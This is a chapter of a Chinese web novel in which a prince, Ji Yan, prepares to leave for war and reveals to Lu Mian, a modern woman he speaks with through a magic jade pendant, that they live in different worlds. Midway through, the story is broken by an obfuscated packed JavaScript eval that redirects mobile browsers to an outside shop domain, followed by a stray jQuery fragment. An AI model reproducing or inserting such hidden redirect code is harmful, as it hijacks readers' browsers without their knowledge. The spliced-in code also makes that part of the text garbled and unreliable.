季衍默声,收拢五指,扁平的石子硌得掌心刺痛,他漆眸垂敛瞧着远处。

    周身散发着一股阴郁。

    季恒了解亲弟,闷着嗓,这是受到了打击?

    哟,几十年难得一见。

    “敛之,有心事?”

    “皇兄,我去意已决,你莫要再劝。”季衍落寞。

    那年在朱墙底下的狗洞旁揪到季衍,他和好友失了约,怄气不理人的状态就跟现在有得一拼。

    季恒打趣道:“被人坑了还是遭人甩了?颓成这样。”

    “嗯。”季衍喉咙溢出单字。

    “嗯?”季恒吃惊,挑眉凝看季衍,“真叫孤说中了!”

    “没什么……”季衍扔掉掌心里攥捏的小石子,拍拍手里的灰站起身,衣摆后面有灰。

    平日里他注重形象,坚决容不得身上有脏污,今日忘了拍衣裳的灰。

    他朝季恒拱手行礼,“皇兄,我此行南疆,少则一年半载多则三五年,皇兄照护好自己。”

    “对了,待我离京后,希望皇兄多加提拔敛王府的蚩神医。”

    话说到明面上,季恒自是不会拒绝季衍的要求,只是有一处不解,“为何是蚩夜寻?”

    季衍泰然:“朝中风云莫测,蚩夜寻医术高超又是可信之人,留在身边最好不过。”

    要说他结交的朋友之多,怎就偏偏信任蚩夜寻,好似真如蚩夜寻所说他们先前认识,且认识的时间不短,他看人的直觉不会变。

    他把蚩夜寻推给季恒,季恒自会留一手,皇兄与他笑颜相对,但手段不见得会低。

    “京城关不住你。”季恒双手分别扶了下外敞的大腿,起身,宽袖甩于身后,走到季衍面前拍他肩膀,“凡事不可莽撞,小心安危。”

    季衍谈吐轻松,缓和凝重气氛,“皇兄,我去立业,你还不乐意了?”

    “让你谋个文职,你非要谋武职。”季恒叹气,摇摇头揶揄季衍,“你小子你是不想随我去寻考吧?早猜到你不会听孤话,真听话了,恐怕站孤面前的便不是季衍了。”

    季衍眉头舒展,朗笑了几声,“行。”

    风和日丽的一日下午,愁不断,越缠越乱。

    青石砖铺砌的路道,着华服与闹市人群格格不入。

    季衍脸上的表情在离开那片荷池便挂不住了,京城之大、栾国之大,找一个人挺难。

    上次他和鹿眠结束送药话题,无非是她说让他自己想办法,她不伺候了。

    他从中察觉到了些异常,说不上来的奇怪。

    唯一的解法便是和鹿眠见一面,她不肯。

    季衍在王府外打转,绕了不下十次,被府内的人瞧见他方才进府。

    *

    另一边,鹿眠听到了不得了的大事,紧紧捂嘴,强行遏制住想要大叫的冲动,十分小心地拿手机凑耳朵边,细细听未挂断的通话。

    那头的季衍似乎不知道通话没挂断,她甚至听到了街道特有的吆喝声。

    季衍,不是,人家也许不叫季衍!果然,只有臭味相投才会凑一块儿。

    她拿他当恋爱素材,他合着拿她练戏搭子。

    明星纡尊降贵搞网恋,演的是古代武侠、权谋宫斗、还是仙侠……按她经验来看,季衍演的起码是个皇子。

    鹿眠拍脑袋,娱乐圈没叫季衍的明星,藏的太深了,居然用化名。

    今天才让她扒出来点东西,之前破绽百出,她怎么就没发现呢。

    话说拍戏能把手机带进去吗?

    季衍的聊天瘾真大。

    容她再窥听一波,接下来鹿眠聚精会神地滑坐到凉地板,跪坐着凑耳朵去听摆沙发上的手机。

    人对没做过的事情本能充满一种好奇,反正她在道德谴责和好奇之间摇摆不定。

    手机听筒冒出来动静了!

    鹿眠屏住呼吸,明明不在现场,却努力降低存在感。

    *

    “季衍,你把我卖了!”

    蚩夜寻大吼,手握着洒扫的笤帚追出来,不出意外季衍侧身躲了过去,反手抢走笤帚,横抬扫帚阻挡扑过来的蚩夜寻。

    “随我去南疆送命也行。”季衍淡淡道。

    蚩夜寻:“狗屁,谁要为你效命!”

    程冲和丁武飞快蹿出来扣住蚩夜寻,丁武赔笑说:“王爷,属下失职,没拉住蚩神医,属下这就将他哄睡。”

    一记手刀斩去,蚩夜寻翻了两个白眼,偏头无语看着丁武,“疼啊!”

    不太成功,程冲摩拳擦掌抬手,蚩夜寻打断他,“打住,我没空陪你们闹了!闪开!!”

    不知从何地钻出来两个虫子,咬人极疼,程冲和丁武刚松手,一把白色粉末撒来,人接连倒地。

    蚩夜寻挽挽袖子,双手叉腰道:“你俩也太不讲兄弟情了!”

    “进宫的行李你打包了两麻袋,装得不累?”季衍无奈,绕开蚩夜寻朝里院走。

    蚩夜寻跟上来,“我这不是怕你心里不平衡吗?兄弟情需要维护,你懂不懂?”

    “不需要。我助你进宫,造化看你自己。”季衍负手于身后,径直踏入书房。

    蚩夜寻:“要我说你别去南疆了,虽然你的剧情线……”

    “啪嗒”,东西掉在地上的清脆声响起。

    季衍抬手示意蚩夜寻住嘴,他斜眸扫了眼脚底,视线慢慢上移最后定格在玉佩上。

    蚩夜寻:“咋了?”

    “出去!”季衍冷言。

    “喂!我还要同你说……”

    季衍把蚩夜寻赶了出去。没动脚踹出去,算季衍讲文明。

    书房内空无一人,季衍却问:“听多久了?”

    问的是谁,不言而喻。

    装死吧。

    “绵羊。”

    “这个……哈哈哈哈,你在和我说话吗?”鹿眠尬笑的声音从季衍腰间玉佩传出,“我说我不是故意偷听你和别人说话的,你信吗?”

    季衍摘下玉佩,“我信。”

    鹿眠不擅长骗人,直话直说:“好吧,刚才你没挂断,后面的我都听到了。”

    季衍:“知道了?”

    鹿眠:“嗯呢,你放心我不会和别人讲!”

    “看样子是没听懂。”季衍说,“如你所听,拜将出征南疆,可能会死也可能会活着回来。”

    他原先不想同鹿眠说这件事情。

    绝对是重击,另一时空鹿眠捧着手机,干坏事被逮到还没缓过来,她做了三组深呼吸,倒水喝掉大半杯。

    一想到季衍一本正经,说得跟真的似的她就想笑,但现在不是笑的时候。

    直到季衍温润的嗓音又从听筒冒出来。

    “见面么?”

    “很久之前一次,刚才一次,现在一次,刚好问了你三次,你若这次不同意,我将来便不会再问。”

    鹿眠:“等、等等!你别演戏了,我猜出你是演员了,用正常腔调和我说话就行,我又不会怪你。”

    “我不是蚩夜寻,天生不喜演戏。”

    隔着屏幕能听出季衍极其正经,不像是在开玩笑。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831030|208310||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “鹿眠!”

    “大栾,建安二十三年荷月,未见你真容……我心悦你。”

    这段关系,惯来是季衍在步步紧逼。

    鹿眠接受不了这些信息。

    “啊?哈哈哈……哈!哈!我长得特别丑,之前给你的画是我美化后的成果,别恶心到你了。哈哈哈,你别开玩笑了。”

    人在紧张的时候,会下意识用笑化解。

    “你真别开玩笑,现在是公元2025年6月13号,你别演了,我有点害怕。”

    “你要是担心我扒出来你的马甲,你大可以让你的经纪人来找我签保密协议,我保证不收你的封口费,然后将你删得干干净净。”

    “我没演。”季衍下意识回想起蚩夜寻随口提到的那个世界,他后牙槽紧了紧,说了一件让人难以相信的事,“绵羊,我们好像不在一个世界里。”

    鹿眠也不敢挂断电话,生怕惹出事儿来,她还沉浸在阶级上那套呢。

    “那可不嘛,我是平民,一年赚不了多少钱,当然和你是两个世界的人啦。”

    天菩萨,她到底惹了谁啊!

    “绵羊,我这边是建安二十三年。”季衍重复了一遍。

    前不久,蚩夜寻从东宫回敛王府,说有个话本子在他手里,里面写有这个世界的剧情,他需要完成自己的剧情,便可离开这个世界。

    于是拜托季衍把他弄进宫,季衍起初不信,蚩夜寻根据话本里撰写的剧情说了几件栾国近期发生的事。

    南蛮来袭,战事紧急,真让蚩夜寻说中了!

    季衍之前半信半疑,现在不得不信世上会有这样的奇事。

    鹿眠听得呆愣住,半晌没回话。

    季衍自嘲笑笑,“绵羊,如你所愿,我们见不了面。”

    他将来不会再提见面的事。

    至于玉佩的事,季衍并不打算与蚩夜寻说。私有品,没有拱手让人的道理。

    事实摆在这儿,不接受就什么都没了。

    季衍从未如此放低过姿态,不知道鹿眠还听不听着,他又说:“栾国五皇子的身份,算你在这边有点人脉,不满意?”

    “绝对是我精神病病入膏肓了,我竟然觉得你没骗我。”鹿眠喃喃回,“季衍,你真没开玩笑?”

    “再给你一副画像让你辩一辩真假。”季衍沉吟,“毕竟……你是我唯一的隔屏恋人。”

    确实隔着屏障。

    他将鹿眠的话原封不动地还给她。

    “一副有点少啊!”

    人家表态了,鹿眠也得开开玩笑缓解气氛。

    她暂时没有放弃养成的聊天习惯,因为她本来就不是一个正常人。

    管对面是牛鬼蛇神,她相处得舒服就行。

    鹿眠点菜:

    “上次那副有擦边的艺术成分在啊,我是那种人吗?我看完都不好意思和你评价那副画,但我还是想夸一句画师画人像的水平极高。”

    “怪不得之前你回我的消息牛头不对马嘴的,知道擦边吗?擦边就是露骨的意思。”

    季衍唇角扬起一抹弧度,“不喜欢?”

    “喜欢喜欢,最喜欢你行了吧!我要各种风格的画像,你懂的,同为一名画师,我拿你当我的专属模特。”

    鹿眠逐渐接受事实,为了避免之前鸡同鸭讲式对话,她说完还要附带一句解释。

    “模特呢,就是给我画画做参考的人。”

    “荣幸之至。”季衍说。

    嗯……呆绵羊,很荣幸与你相识。

    这样也挺好。